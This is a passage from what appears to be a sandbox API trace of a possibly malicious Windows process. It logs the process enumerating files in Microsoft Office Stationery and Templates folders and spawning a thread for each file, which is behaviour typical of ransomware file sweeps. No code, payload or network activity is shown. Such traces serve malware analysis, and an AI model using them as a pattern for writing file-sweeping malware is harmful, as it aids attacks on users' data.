(HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86b670 [0097.810] wcscpy (in: _Dest=0x1b86b670, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.810] wcscat (in: _Dest=0x1b86b670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.810] wcscat (in: _Dest=0x1b86b670, _Source="JUNGLE.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" [0097.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0097.811] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3d4500, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3d4500, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1 [0097.811] wcscmp (_String1="NOTEBOOK.HTM", _String2=".") returned 1 [0097.811] wcscmp (_String1="NOTEBOOK.HTM", _String2="..") returned 1 [0097.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b700 [0097.811] wcscpy (in: _Dest=0x1b86b700, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.811] wcscat (in: _Dest=0x1b86b700, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.811] wcscat (in: _Dest=0x1b86b700, _Source="NOTEBOOK.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" [0097.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0097.812] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1 [0097.813] wcscmp (_String1="NOTEBOOK.JPG", _String2=".") returned 1 [0097.813] wcscmp (_String1="NOTEBOOK.JPG", _String2="..") returned 1 [0097.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b790 [0097.813] wcscpy (in: _Dest=0x1b86b790, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.813] wcscat (in: _Dest=0x1b86b790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.813] wcscat (in: _Dest=0x1b86b790, _Source="NOTEBOOK.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" [0097.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0097.814] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1 [0097.814] wcscmp (_String1="OFFISUPP.GIF", _String2=".") returned 1 [0097.814] wcscmp (_String1="OFFISUPP.GIF", _String2="..") returned 1 [0097.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b820 [0097.814] wcscpy (in: _Dest=0x1b86b820, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.814] wcscat (in: _Dest=0x1b86b820, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.814] wcscat (in: _Dest=0x1b86b820, _Source="OFFISUPP.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" [0097.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0097.821] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa331b800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa331b800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1 [0097.821] wcscmp (_String1="OFFISUPP.HTM", _String2=".") returned 1 [0097.821] wcscmp (_String1="OFFISUPP.HTM", _String2="..") returned 1 [0097.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b8b0 [0097.822] wcscpy (in: _Dest=0x1b86b8b0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.822] wcscat (in: _Dest=0x1b86b8b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.822] wcscat (in: _Dest=0x1b86b8b0, _Source="OFFISUPP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" [0097.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0097.824] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfead0800, ftCreationTime.dwHighDateTime=0x1bdaedd, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfead0800, ftLastWriteTime.dwHighDateTime=0x1bdaedd, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1 [0097.825] wcscmp (_String1="PAWPRINT.GIF", _String2=".") returned 1 [0097.825] wcscmp (_String1="PAWPRINT.GIF", _String2="..") returned 1 [0097.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b940 [0097.825] wcscpy (in: _Dest=0x1b86b940, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.825] wcscat (in: _Dest=0x1b86b940, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.825] wcscat (in: _Dest=0x1b86b940, _Source="PAWPRINT.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" [0097.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0097.828] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a6900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc3a6900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1 [0097.828] wcscmp (_String1="PAWPRINT.HTM", _String2=".") returned 1 [0097.828] wcscmp (_String1="PAWPRINT.HTM", _String2="..") returned 1 [0097.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b9d0 [0097.828] wcscpy (in: _Dest=0x1b86b9d0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.828] wcscat (in: _Dest=0x1b86b9d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.828] wcscat (in: _Dest=0x1b86b9d0, _Source="PAWPRINT.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" [0097.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0097.831] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9575800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9575800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1 [0097.831] wcscmp (_String1="PINELUMB.HTM", _String2=".") returned 1 [0097.831] wcscmp (_String1="PINELUMB.HTM", _String2="..") returned 1 [0097.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86ba60 [0097.832] wcscpy (in: _Dest=0x1b86ba60, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.832] wcscat (in: _Dest=0x1b86ba60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.832] wcscat (in: _Dest=0x1b86ba60, _Source="PINELUMB.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" [0097.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ba60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0097.833] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371bc00, ftCreationTime.dwHighDateTime=0x1bdaede, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x371bc00, ftLastWriteTime.dwHighDateTime=0x1bdaede, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.JPG", cAlternateFileName="")) returned 1 [0097.833] wcscmp (_String1="PINELUMB.JPG", _String2=".") returned 1 [0097.833] wcscmp (_String1="PINELUMB.JPG", _String2="..") returned 1 [0097.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86baf0 [0097.833] wcscpy (in: _Dest=0x1b86baf0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.833] wcscat (in: _Dest=0x1b86baf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.833] wcscat (in: _Dest=0x1b86baf0, _Source="PINELUMB.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" [0097.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86baf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0097.834] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2600900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2600900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.HTM", cAlternateFileName="")) returned 1 [0097.834] wcscmp (_String1="SEAMARBL.HTM", _String2=".") returned 1 [0097.834] wcscmp (_String1="SEAMARBL.HTM", _String2="..") returned 1 [0097.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86bb80 [0097.834] wcscpy (in: _Dest=0x1b86bb80, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.834] wcscat (in: _Dest=0x1b86bb80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.835] wcscat (in: _Dest=0x1b86bb80, _Source="SEAMARBL.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" [0097.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0097.835] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1889, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.JPG", cAlternateFileName="")) returned 1 [0097.835] wcscmp (_String1="SEAMARBL.JPG", _String2=".") returned 1 [0097.835] wcscmp (_String1="SEAMARBL.JPG", _String2="..") returned 1 [0097.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86bc10 [0097.835] wcscpy (in: _Dest=0x1b86bc10, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.835] wcscat (in: _Dest=0x1b86bc10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.835] wcscat (in: _Dest=0x1b86bc10, _Source="SEAMARBL.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" [0097.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bc10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0097.836] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8d1900, ftCreationTime.dwHighDateTime=0x1c02f19, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a8d1900, ftLastWriteTime.dwHighDateTime=0x1c02f19, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.GIF", cAlternateFileName="")) returned 1 [0097.836] wcscmp (_String1="TECHTOOL.GIF", _String2=".") returned 1 [0097.836] wcscmp (_String1="TECHTOOL.GIF", _String2="..") returned 1 [0097.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86bca0 [0097.836] wcscpy (in: _Dest=0x1b86bca0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.836] wcscat (in: _Dest=0x1b86bca0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.836] wcscat (in: _Dest=0x1b86bca0, _Source="TECHTOOL.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" [0097.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0097.837] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 1 [0097.837] wcscmp (_String1="TECHTOOL.HTM", _String2=".") returned 1 [0097.837] wcscmp (_String1="TECHTOOL.HTM", _String2="..") returned 1 [0097.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86bd30 [0097.837] wcscpy (in: _Dest=0x1b86bd30, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.837] wcscat (in: _Dest=0x1b86bd30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.837] wcscat (in: _Dest=0x1b86bd30, _Source="TECHTOOL.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" [0097.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0097.838] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 0 [0097.838] FindClose (in: hFindFile=0x1cd9d250 | out: hFindFile=0x1cd9d250) returned 1 [0097.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce217a0) returned 1 [0097.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f050) returned 1 [0097.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b785ef0) returned 1 Thread: id = 419 os_tid = 0xfbc [0091.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86f0c0 [0091.240] wcscpy (in: _Dest=0x1b86f0c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0091.240] wcscat (in: _Dest=0x1b86f0c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0091.240] wcscat (in: _Dest=0x1b86f0c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*" [0091.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21530 [0091.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d1f0 [0091.243] wcscmp (_String1=".", _String2=".") returned 0 [0091.243] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.244] wcscmp (_String1="..", _String2=".") returned 1 [0091.244] wcscmp (_String1="..", _String2="..") returned 0 [0091.244] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0091.244] wcscmp (_String1="Access", _String2=".") returned 1 [0091.244] wcscmp (_String1="Access", _String2="..") returned 1 [0091.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8668c0 [0091.244] wcscpy (in: _Dest=0x1b8668c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0091.244] wcscat (in: _Dest=0x1b8668c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0091.245] wcscat (in: _Dest=0x1b8668c0, _Source="Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0097.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8668c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd08 [0097.452] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0097.452] wcscmp (_String1="AdjacencyLetter.dotx", _String2=".") returned 1 [0097.452] wcscmp (_String1="AdjacencyLetter.dotx", _String2="..") returned 1 [0097.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad200 [0097.452] wcscpy (in: _Dest=0x1b7ad200, 